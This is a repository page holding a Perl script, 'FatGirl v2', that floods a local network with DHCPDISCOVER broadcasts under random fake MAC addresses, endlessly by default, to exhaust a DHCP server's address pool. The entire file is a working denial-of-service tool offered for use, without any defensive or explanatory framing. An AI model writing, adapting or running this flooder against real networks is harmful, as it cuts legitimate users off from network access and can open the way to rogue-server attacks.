-
Notifications
You must be signed in to change notification settings - Fork 0
/
fatgirl_v2.pl
91 lines (71 loc) · 2.51 KB
/
fatgirl_v2.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/perl
use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;
use POSIX qw{ strftime };
# sample logger
sub logger($){
$str = shift;
print STDOUT strftime "[%d/%b/%Y:%H:%M:%S] ", localtime;
print STDOUT "$str\n";
return;
}
print "----------\nFatGirl v2 by demonalex\@163.com\nusage: $0 \[ORDERS\]\nNo ORDERS are LOOPS!\n----------\n";
$orders = shift;
if(defined($orders)){
print "ORDERS = $orders\n";
}else{
print "ORDERS is Loop!\n";
}
if(!defined($orders)){
$a=1;
while(1){
print "\Request Number : $a\n";
$mac=int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9));
#open socket for packet tx & rx
$socket = IO::Socket::INET->new( Proto => 'udp',
Broadcast => 1,
LocalPort => 68,
PeerAddr =>'255.255.255.255',
PeerPort => 67,
) || die "Unable to create socket: $@\n";
$discover = Net::DHCP::Packet->new(
xid => int rand(0xFFFFFFFF),
Chaddr => $mac,
DHO_DHCP_MESSAGE_TYPE() => DHCPDISCOVER(),
DHO_VENDOR_CLASS_IDENTIFIER() => 'MyVendorClassID',
DHO_DHCP_PARAMETER_REQUEST_LIST() => '1 2 6 12 15 28 67',
);
$discover->addOptionRaw( 61, pack('H*',$mac));
logger("Sending DISCOVER to 255.255.255.255:67");
$socket->send( $discover->serialize() ) or die "Unable to send Discover:$!\n";
$socket->close();
# sleep(3);
$a++;
}
}else{
for($a=1;$a<=$orders;$a++){
print "\Request Number : $a\n";
$mac=int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9));
#open socket for packet tx & rx
$socket = IO::Socket::INET->new( Proto => 'udp',
Broadcast => 1,
LocalPort => 68,
PeerAddr =>'255.255.255.255',
PeerPort => 67,
) || die "Unable to create socket: $@\n";
$discover = Net::DHCP::Packet->new(
xid => int rand(0xFFFFFFFF),
Chaddr => $mac,
DHO_DHCP_MESSAGE_TYPE() => DHCPDISCOVER(),
DHO_VENDOR_CLASS_IDENTIFIER() => 'MyVendorClassID',
DHO_DHCP_PARAMETER_REQUEST_LIST() => '1 2 6 12 15 28 67',
);
$discover->addOptionRaw( 61, pack('H*',$mac));
logger("Sending DISCOVER to 255.255.255.255:67");
$socket->send( $discover->serialize() ) or die "Unable to send Discover:$!\n";
$socket->close();
# sleep(3);
}
}
exit(1);